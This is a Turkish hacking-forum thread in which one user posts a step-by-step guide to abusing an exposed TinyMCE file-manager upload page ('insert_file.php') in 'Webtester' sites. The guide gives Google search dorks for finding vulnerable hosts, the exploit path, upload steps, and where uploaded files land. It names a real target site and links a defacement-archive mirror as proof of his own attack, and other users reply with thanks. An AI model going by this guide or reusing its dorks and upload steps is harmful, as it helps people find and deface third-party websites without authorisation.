Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Webtester Test İmages Klasörü Dosya Yükleme Açığı
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimiçi
Seviye Puanı: 55
Yaşam Puanı: 1,369 / 1,369
Deneyim: 78 / 100
Rep Sayısı: 2734
Mesaj Sayısı: 6279
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
Webtester Test İmages Klasörü Dosya Yükleme Açığı
02.07.2015 16:57
Google Aratma Kodumuz =>

Kod:
inurl:go.php?testID=

Kod:
inurl:''/tiny_mce/plugins/filemanager/''

Exploit =>

Kod:
HEDEFSITE/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

Örnek Site Üzerinde Gösterelim =>

Hedef Sitemiz =>
Kod:
http://www.testsdmv.com/

Exploitimiz Sitenin arkasına yapıştıralım.

Gelen Sayfada
Kod:
TinyMCE object reference not found from popup.
diye bir ekran geliyor
Kod:
TAMAM
basalım.



Ondan sonra Dosya Seç ( Upload File ) kısmından sadece istediğimiz
.html .txt .jpg .gif .png .docx .pdf gibi istediğimiz dosyayı yükleyebiliriz.



Dosyanızın Yüklendiği Bölüm =>

Kod:
HEDEFSITE/test-images/Dosyanızın İsmi.html

Mesela Örnek olarak ben heykledim.

Zone Kaydı ve Resimli Kanıtı =>



Kod:
http://zone-hc.com/archive/mirror/ce8dc27_wWw.testsdmv.com_mirror_.html
(Bu konu en son: 02.07.2015 Tarihinde, Saat: 17:04 düzenlenmiştir. Düzenleyen: KingSkrupellos.)
Alinti
Rep Verenler: BlackMerakli
AdrenaLiN
*
avatar
Sivile Alındı
Durum: Çevrimdışı
Seviye Puanı: 6
Yaşam Puanı: 5 / 128
Deneyim: 12 / 100
Rep Sayısı: 0
Mesaj Sayısı: 53
Üyelik Tarihi: 11.03.2015
      
Yorum: #2
Cvp: Webtester Test İmages Klasörü Dosya Yükleme Açığı
04.07.2015 12:07
Eyvallah kardeşim eline sağlık
Alinti
BlackMerakli
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 12
Yaşam Puanı: 37 / 284
Deneyim: 39 / 100
Rep Sayısı: 4
Mesaj Sayısı: 178
Üyelik Tarihi: 24.11.2014
     
Yorum: #3
Cvp: Webtester Test İmages Klasörü Dosya Yükleme Açığı
04.07.2015 13:51
allah razı olsun güzel anlatım
Alinti
hakandede
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 7
Yaşam Puanı: 9 / 161
Deneyim: 46 / 100
Rep Sayısı: 1
Mesaj Sayısı: 73
Üyelik Tarihi: 14.03.2015
     
Yorum: #4
Cvp: Webtester Test İmages Klasörü Dosya Yükleme Açığı
09.07.2015 11:17
sağolasın güzel paylaşım
Alinti



1 Ziyaretçi